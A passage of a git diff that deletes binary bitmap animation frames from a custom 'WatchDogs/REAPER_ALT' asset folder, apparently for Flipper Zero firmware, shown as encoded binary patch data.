zej_06*0`Fg)RzgUg;Fs+3-#8A2;GOo0JIsFRn8z`_QrvSAX*3%lw%@*ZR6?jFcboT zB@(0yzgmDnXi`j8P(D}zD5nP37Xyw15fGraMu}CWRYe2;k5C2$L=cWcAR;LgK>B9E A+W-In diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_24.bm deleted file mode 100644 index 9d3b392da626b9a6ae35b2ac7e5405406a381eba..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 955 zcmV;s14R4*0Jj7Gf~Nuh02np#5ey}(_75#rSGBf)MKY3zju1YZf4~3xf5c!U6hR2^ zH(mX=xBvC}{IB4#gaAeZgbav)tzN#Zb^#tlE&2!qGfy~;o&zMuVmt5u4?BoK&23&A&lB8TDLs{_Vc5QIRAL!gb3i@+Z( ztSX5?s6t>~39SMV{N3$+q5+N2cfWWw0;M;ENMJH9{@+)sl~6RgN<2fsE`dNcnyQ6T z)!U0i2m=U$SSGBI{D1fU|G&TbSr7qqBh(5EHbFq$R=2%r6bgcW9~As1I*o2y-T(FP z}zju?~c|C_#dP0SH<#3K?c>0+m(KWhzn#5d>h8OqQc50-_Vq_#-j^jY8LjFRp^6RjTTM!}6;g#JDY? zK@a!-02oChQEh{g2M{M34ujASEEWpkwV@ly8ZiwA>$(pa1cOm)f{{u{O)b~|ZS5P4 z!@B~4Oei#n1Xe@z`-jKZx9`=UY{7^`B#7a>#XDPS$F|kmr9d@MO)di!B9&5PFrJ3* zzqL}DH0Fxax9xSn^Z*Qk@`V@&gLUuf!LbPfkVzmDss#$A(ChBE@K_B32}y!LWK%+@ ztp`zJy58-%+SaH5GO5W7yA@q-3IPd$N}FX6oj_ob8^8be3Mvf-EDsU*%`g-SCwM+D z;exEUjqXD|p120=uT4M$NFn#CX(ja1S=PY?lWH86}#HQXS9)k3JXAbAP~p`wi= z&Hioi1e7Cz6#@+d1zP^kKn^Oah=3 z30PDOPAdhVkub)o6+$E+P9Ot;U(+H0I3)r|BPYnfI dX%LD8N{Lm<)QLm&s|p0DFewfvQ4lMX3IIaFr&|C3 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_25.bm deleted file mode 100644 index 080e8e11ac152d6a161160ccf2d187caad8cc498..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 959 zcmV;w13>%%0J{VKf~Nuh02np#5ez1)`VTEtYTH|YMKYR*h6p~Jf8YQ8e~92@5J*G= zf%@Cqdw>7c*Xw^4h%{g#@!yNe{th2i_5l!pNHG`;2ddl<9{=mr>hJ&k`ubD`3z3yo zdpmF6mi6@`6kY*HAqd!G6rcZZZ~Fgz|M63z+c&>@wSRlJzV7Apm=-3XlEM{->%Xdf z|G#hjUbp>=V2Z^6^>6A?OfN_tJz7+@0YHFZAQlMN*uEXTZmU%ah(ah(h=+oD4=)G% zUJn?p3PlKnz`PNv1dIEfioV0SyfT!8IR@f>R`*z;uM+gjG@F;FpZWupyBEECwOJ-*5Y{P(Z>m5D6rJ3@icq zdi7Um7-XP;p(h9!U{ENA0fRRMK)FE(?gaRV*iArjq@xXWCa7-0K zK_SutM1C?1frxgeQL0I4c*=}`gew81M545k`2Y@y0x}8UNF!T>e=)6i2qv6u7-gL-e0aZ(O{bi1#1BkfNp>HvH4&(Ve&4FB0(bcQoGi@R;pFigHR<{jaG{(0J>!)6t0JV zy{~DCJtPxSp;R`uy{!nEMiagPi=pq|Yfs~VDvO9@QyK<>RbZ_7Z*VtZNT5_01nLMM zEmf=E|M%*3)T>QaYjheFLn81Ou)w7wp@>2!Gzf(Q-)_C0$|)Nl2(V{EF@*0wcKA?` za5AVv>`&uBf=DzlOoa+X2$tn&P+b*DQil_{V}KQotNkyK&>&J61SS#Ui-(6HkhFIHee6`C5h{>KZV~bM_NCEKDPSTL zPRGY;IvBlE)msOg3keXkelBo+g?gC#~mgaL^>b|G?zR6SUDKmcSgh?WWo{8@|x zfdab2MS=hrClht0^;I&mO^si*2NjI~KspLn>$~rja6a1W?Y0U$CmeAtC;`* diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_26.bm deleted file mode 100644 index 65253bc6b74aac3d55d5a59d9408ee3813c01ee5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 957 zcmV;u148@(0J#I-f~Nuh02O>1_=tuRRs9E!|7%+6)u0hfq@p8)52e2Qz5ie0G#Ld5 zLOKuCySMiL{I&n9_$**h2t)@7zZVzpPgVclL4yE@Kr$E)RkVOo{;m87KYIR_l>x}g zs=bkT|G!=S_&{M}A(24bp?$`bQd+z?eNhzXeq?8gk-DkB* z*1zZftM>ZQxJCjfAs&@`ORAK5zV&*oRx1F6z#&j81iWlt5AM5Fs*ONF0|=04C7|-~ z3&cKJ4FysY0{Ba$5RYwtum08ArF07at_^_UO<@ulMuUB;t5spNjfT>X0JuljLrAUY zYL=efYXt&;!X%mr`4E4;+xGvzz5C5lC*Xx(C{T!&2i1D}*Q#;|f;@DSxda1Kb*}gN z`roM}aF7TOf`0;_RVb1v1X5E4lE5-BsD!|3F&0{h!~j?ic_4Jg5fg|&=uk{V18KVJ z-r(^H1VVxj5FmvJCNK|p3|S)pl0-qnKtG5eavG>8T!UpHZw|{+K^O&A1q8xLFffW0 z0D>p+#6&O}s8s`1RI6&LQVJkAWR)ybD{loMhycK&0yL1oZCEq{=rvl7rl=lO;(34v z5kUO^zyd=poC=Vz92F7)VETi~MTNmzqGMt=h*Vr-fA6nGA=M(7Kx7afrvJD1F%AoN zhJbD|6-*>5LD}|?$N)On4FUxL7mPv$dX;v&RVuEgw-XhNQ%j(luOa?uU$>* z02#;(svBQjJ_`bbKho6mEd~F7x-W@@ivu8 z-o3B&YwA;4oYr(SEkuhE2*AWDCgH$AArnjm0zvifZQxQ0MQTp%JIsnDiSJ!+WwBWd zDoFt%45+*^2^K2}B81W_)ff(XfYe8ups4CT%{-ua7c&zT1PSLzsmt2 zV~hfkf02WV1+?u?*#m^30*3?b926pv>HqzE^azY1sVbBU#BO@2R4nX4fuLG9`|-%( z^q)<1X`)yRBto(K(Bw5yK={Jh1q6u%#zp=XmIF!rg8_;|0Eu9s9^tuEB0iivf)N6N zQn;I~7W-8qgji_%XtWZ6NW?@m6s_;C|E%$MyT7e$h|G0OuS&gDmB1=HEq&esOcThb z!~jr@1}jx4q6f!SRH~xVfe8Yb0DtlGkcR|5K*NBC$LbFl4HAWtl2Bw60C>a^Bk!-k fB$x<=1`!B~;WbA=$v``?=_CX!F-;8uK@lIIon@wA diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_27.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_27.bm deleted file mode 100644 index f0a3ff5dd0f21861f89460fb86ae1a6f93d24597..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 950 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 Jcmu#50N`vMf^h%< diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_3.bm deleted file mode 100644 index 256969c113a7d3b5ad06d6672ed327db7713daa8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 608 zcmV-m0-yZ>09*n9cmu#50Q>ATAG%ytAOUcS)DS(A3?xt;ehN0EJ-V7?DnTHK0E7sD zA>c!*FbE6?05CuS0SX18pg@21-&N`e5V;fL2@(PT2Ba=P`hXBXS5SNmNFX5M2dPYVLh{;+C$fyXKa4_>QXJO}|jU?H_5jDFUv z(s-%0(|hjwU_yVWbrP&oFrLc#$OxNTwf^9>O8HB@_My;|b=2n(tc6MAciA_pM> zRdu*2BnJ_IfB-}QR2U@&NkIb)LIWTI6bK+x0I7fv0SEz%Mj{GIL;?j6gvlrvAsFE# zkrCL*AQVXes9-PvaM1&%I}teHA{7{fRuM{(00$L_!eAv>2!#p>LZB7KBay^NBvJ^V zKyXnB2@GPAj3G>M5QB)A)T%&qBMd;=Pyo- uL5zA5Spft9(gMNA5`vK;SwbKtp}-Z)DlrI&Twp|zC79fR2Ly;ekN}_??Aay& diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_30.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_30.bm deleted file mode 100644 index 9e5b76f20e056f6682e8de7c953da330e53bb982..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 613 zcmV-r0-F5+0AT{Z|9ZE$AM^j;^>_c@@B;d*Qh)FNZ&ly^fy?{BY#=|2{r{7O)xY21SPDQCYkEGv*dV?7L`wh#9c}x2?-#TJf#MI3 ze}B~vwf`jq#!$UAVx1 zK=J?Us)6PR7xi>I`rWK1BlT+!*MI8&)wQeU?~lrVRq6X{;`a-ce~Uub|N5im-<8Kd zmB`bo;N`pD{^0Sq@_5?f82}UBkRSfPNkPARchB~_n99r3_8dg8CnY!!Uyb75+OwdO z4VAnqHT|E=I3^MO{X@n!EWMY@|G#&`!}@lS%{zVM!T!PJzX%>()+$o}{(2`)bIqeej6u>iZE%-|o9o`uFtup!wJGx}))c%P*w*56)Gk z3kbA+z(JGhL+3B3(u%|TXBYohN=%-=6;ulfRCeU@$$tUmPpVQw3Mmntt1`TOd+puyGZx{$mH)riV;}&#cJVRoZKM~{T~f9Ef$M*y;GiFm{clU%_XF1N z5|Bwhm;V2*xBCaK{}l+pkH)uu+Vw%}{*V;}9zEhX{lTZV{{89ty->Vwf8W>m9)ErK z89()XzV~zoI_aoD3BC&mB{uv0_w=xRUg-=#2XFU>*5B&`uXeZn`i;`-?FXjc{+28G z=x+Yha^J<`2pD}M|F6}4f$6UY7yEY-Ko8X%hw)d45NNtj*1s!$Jg}Uq(4U3(Ykdc` z+?X`lkC%UL6Oc5(!T}p@E2+QzJDdMsFpX|Q;lB4+>))^M!{ckpWgV(tFS@|9@+}C| zNz5S-5X$JBrK*4jf8Qt-9#fFp-@)te-Hr-Zf)9vjf#>`8fr}3i==z7O6(7)OYGd(A z2myoTzlFeV0#Ymx0DEBp{_E&;gP@~`q=1MCke{Q)W> z@e&svgDFlOJ`02b44e>Nc$5H?aQcKmh&r%Aao{wT;pO0zU*o7j1@n>z(hnej4Tkmz zE1m)*7!Ux|@ijm&v659tC!8Ju00)ok(0LgU{PjAlkUUz4zolgb=MsWJ0K#86cw~P- zV%2JDLt)#33%^Q|{y@b_l|n|sFEGf5&i}QgRDh#*2cFi|^#YYzt5qeCAg}hcssHV| zzOX%i{q3-Pul>Hz)Pd*U-S*MvzuSRK09Su~_#AgzXgPoVzu(LGw^^*?gk&|OuyamP=FvfUhrFs f^Z=$a36KIkpdvpY{zXVqpa*~{{9q3Ncmu#1LS{}U diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_32.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_32.bm deleted file mode 100644 index b4372661de935a3ec48749d810bedee04092a974..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 882 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 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_36.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_36.bm deleted file mode 100644 index daa2562ac5658b7d813dac8199d339f7ae1bb4d7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 960 zcmV;x13&x$0K5aLX=PfiR0t4X|NVZd03Y}ua1cPCf=jEm2#5fKgDTNgAQDWBBmaNx z|AFKm8Uz;$Riw(QxmqB72E{3qz_0`Y$Xh|{1EOInkx{Uf1UP^psfWe`P=rA#Gheto zqv9l&$xGrhALt~f;34bZ|G0R8)O8Y|$>+dB>-7Js^q}~}aGm4{2g~pG{SnJ6RFu?Z zHob4`6gvCZ;Gyye1qum->w5dZp}+6U=S8Z@bulWgQl)?I|N7tH829(v`Xv`h0f50U z8V&tY1CSaGSJM!PKxs8hj7t@7Zx0k+J6g3CODd4SD4I%y-m8i2Axqnk?*DMM?Oi7e ze~@&h+O4j(wTZQM;w^EAY9+W_2e$8T{{8CNStgPxRH0z6^$k~6+5Ow^NaKKkP+&RE zr2dOYt=9eI5$)8XvVi!=F*CS^mu=OpKgO+yvS4i*7#5R%qHc%)=n@!|Rs!TE5oD!Q zoUJOAgrG<@SOrM?ueEYW!~tWVltQSm3041VzwQ3@Q7RNmC5nMmcE0*let`h~U*H`~ zrm9t;s0YTOAlkyJI-0dgQ?=3u#t9&ZaIjJOg(~T_E|ds>I-0JQsi>dfU>%y?s+Fab zMR{MNK>y%bxQ45Fc7RAB7%Bz;9#{E9{;4JO>r3OIh+?%t^TA7CIE}^b0icO#rW6qR zcK^i)g@ z^a7y>hd{D4iPol29~-Xk_xGyNYPDKL5(PStQF=f9Z(6NgfYcN6O43TZ;KJX4 zhgYfTM5+*omZvHA2b6q7lzdjIsRe+G&VB+Pp8x#^kiZ}{4IpI03Lg2K>GWAnR+S}MjHDVj{b)!? zBfj@)B$*_b;G`N0{Z;{x|J(e#SQZKaNvhH@SV_DBtHoLkcH5DZRb)5`6+@+esbITG zQteSb|L88XhB%q6BU3fiZF^g6hPJa&h-4ueOZ*2R@4Nf=zWHoRMFgV3bXY02t3_J2 zgMTC~b4c^ZX7DblynX;4Tc z001~j5Cm~ltH1S{H~Nf+Q>xMqh9d}&Ksj=)Un?O;$>)gOO5lRwx9dz%+|&gA*yL;%bnAP|_s0Iz>u_TY}UJ z!yv(FX4cy;B9i4ErrMze)oQU-13-WV1tXMdxE9zZKt6wvaNp$-JS-DeTd0T6QTh*- z0*ffr(Jt^!gaQdr#Qg*1DuK{ooeI@MLsb9_iuJV*ma8@O)!X2)OcK0!mrZV}l?s7q zEC2e|LV+lNLLoDvp!h#<3J337x1wUOSxFZ{=+qup{sVxw|Ld?QgrbFrflX+UFA4y3 z7OSuS``7E%t#{kxMuFu2w1&4;pwgicsU}MaGNMI!Kl^U)|G$c8YFS(aB1L?t$~?dR z-`iESpwS|l`Bs*xDS%OYAM+T{AsJd#Rw@S=4cBj~_kZeASgi_?pwdHRl!`*Uhk}P1 z0idaUQ7nyl|oMwXsG4B8X5TR$nSmZ}AT9ngsx7jv|E> zqV&9Kq19-=6uMTbR38|n0wVzWKtm%0y2S8+QK@3IQEsmP6?5t=9cAG-M#qsFEB8va9XeMf#m0kmMy*2}DOFDjo@7XqjD96DtD1K)S5q(p4(7 zimaxE0H{zZnwv+9w?BbEa1kg5N=d4LVqldlmy-X#v{I*9U9BSnM6F7yBVqY>=eQ__ z2T`i4Z);Q>3=*pm_W$Sbid2%hSO5F(@m!_et8Fq5@Bb&H{eRcr|KCHRcnAZ)9suwM IfII>J@OYHdEdT%j diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_38.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_38.bm deleted file mode 100644 index 65e22129b777c38566be5248d84ce6ea92a1d2d5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 978 zcmV;@111vP~ zgd!zX+V;bR9{~^hd;hEAwOT`ofChd78?N{L2av!aHC(9t^WY)%>%-$ps??$sjo#co zo%A{D^qQzvmQkzf_klyd_5;c;vKoW~1@_k{&;V6^PN=3QVbtXX!+X|J~<8s+pQ|9)p}Js6x4 zwKS?s0;M(7)UY@RAXH!yI!sH0cGBu88C_LcB~g-cGEkislButNK%hfmz&r+%RitR) z5RL`bsYujSD!i7cfCdQ(k!WdJ`UFM-ARLG695?!n4=D!d?x9pFrlM6v50(6+GA%|b zub`A*VO0!I&|X;y9wG(cw-p9eO48IXUeNf_X;NFQF1IA4WR>HEx@BsVn1FP9|NCwR zML@ztB@P@tiid?1x5%mAy5Jte&D8HOhoMIPV?OUt=(o`x@SPets3(jkO!;E{@?$%x-HYM0wRv0p-`&GdLO!$ zuU!!C!t$+QAB+|OgrR>RA(7F1nxja9QYBidw%0ZMs?~Kd-|ik2s_kH?kXTP=+i(BU zs@MIj?<6G|L_(pU)mFQDxPP@4J^Ci9rGlklVNje5fGRMGtd~g;fI>ZAef?5N6oFA? zQdPLbD7u>$$A3SdP;^yHg$jYGicw&dDo3l|zolZO8ktn0DtjDGqX81|U+4JX0AP`6oZ(36?=sfo4A*$+Xl3J{%|JS|ce|zzG?)~(N zEJ`B)!ay|@{VWqf|F`vakSK)$i&c>1u#>2TBMKiKx35v6l|Vz|B&I zSxOY6ul4`;|G7+tt0`2}Wgrw7Mh3TA)q1P&C@cbn0Kq^dQ7Vc^a1ag!_MuRe#5A;t zQn+<=tz43+m7z&-RV`RFXaO3*D(ZV1cO7==o6pF+tU)HGK;4rkP>Mpbj1qVSw$bP})l+eW>Ts?d$D+q$cD8C?h z|KI`fs#Pws4FyW5+aKV3s3OKy(+a|K9;1fXFdf3D!du z$p64_ntx69|J(n2_f>nO7D3|w)p|DC-3pVWcnt?pI;drQpZ&f2|GtV)FEX`=z^;;7 zM=SsB>h*ne3a@IFMWpIxxCs}4o-hbRLpMae#X#dgx>oAGzxg0jhSO_(}$%kqVV+zg2JMR#m9W z{;EB&A4W-1lEAcDjD$iX07(s3 zDeU!Z!K-0DwB1Rli?ag3z##tU!2Y=|Q6FD&N2D{-coJ{;h5?01aI}Kl}Ip?}g<9 O3<2N|0C)qy9suC<_t{AR diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_4.bm deleted file mode 100644 index a42df62630d06ca150e8f69b7aa220c139e5f45f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 633 zcmV-<0*3to0CfTYcmu#50PqL@YxsZ#!X&bg{^ejm+mJ}CQlNd+vb?M$G#^+=BuXO? zkkGJ^2^A0kP>Bsvi?!=PgY_iPz#uUK{z)+q0g%LLI6+v#FfvS)0NPjp%Rq$<2o}^L zA*$O{s-ObZ>a|v&F?8ixT2)t7Rs;w*byYxlMI^YbKtO6WT27}`N{ZETx=mE8Q%b2s zYO!3Xcx4t^tx{7-scMJ9E*g%fMJlC-glbZ$D4=N}5dw~jP(K`|t0gK22=sEbK)}l+ zq~g@+Bv~quxQPRj(HG2`A@S8xDOGDJJhXvv0+9T5DC5-ZfkQ+CkUUWaK^-oVR8))QnJ;?W8p?Kv<<+T@;R$4DX z!3s*c4=Gr%>uCgMhyaD>YO3wTrT{*uJn2aCLn=IhBnUlOfNEEE0W63RHE=+U2uer7 z2bEbqr1Niy83F>DDxkQvW%W0f?7%4UCy)V4=QX;Ggg$zz=%iQW(t8}L0R)0TC=dVv z!6FbD1Oi2f1}*~u2m+KMAPO)@#3CS}3Y-WAQ3)ji69K?U27@BR)gTy=2!zUkKp~8X zHe<5EXfRT!lv1Naz-lQOCDdh^K0U=j#Uqx=0P5D0z#u=(X`5MB6SL+4-p84gnw z)o3Ley;pq3zxciqfdGQgyMEuWJ*o8-KQ?GlpHTpHdu*k*zooZrWVo69 zlcTn+Yi-`#2HWz~7)B#OzldPFzi-~xcekWKs=AsKixoYh)iq(^7>&9EC?AX>ky4w~ zGCy5c`~U8*>ab67sN}Gh_%4#2+tp;My<7y)LOLp^rhTc23B~}f90a0;QpnXR|9`)K z`%rHTD^*m%LLf9q2X3jY^;_V9;iw{pQ6kksDzG>d1A%?W$ss1Os6eQ-UtX&tDAdxb zvQ1XVpg3woqY^I}9SS8;)!-=^TBN3}+vG4B5PWc7pm_i4keF19i&_;7LrW;?1IqsZq3JPPt87L= zMT%5lKA`z(qOcf-g11Dn#Avjxtl3OW3|M%(<7zUueGfI?4lmASNudDXggvVE_ zs@|X!PY3?1)$Qt{mWo6cAxNcd9mD1S+i!pU{Q`rviqND`3#@}v%K!HI)nBYCm1?!+ za+RX6z=h)gfJh))T_*Ar2OI_Ct9tGKr|F;RZh3n^-r$gntxq^GO5|K;|d z-|qf}0H8u5kr+p|)%(>#t=7MO-YHdz=%gAg6hjFBf@-oFqHxgz;*=TuR|^ouR3uPX z1tS9x*=oE!`S{FfRSZ=kp_PGY0HYxFefRXOE~85%$wIW7NKBFimGE!p?g4>SI<;=C zR)f^RN+2Kp{{I!Iq-!^Ak-x=oR{vXszu)*iM)hw#4*x@_1_%Sd9suwMfII>J@VtKH AuK)l5 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_41.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_41.bm deleted file mode 100644 index cee83c68a70655e32bb3b5e5ed9c0b1182f8c6ec..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 976 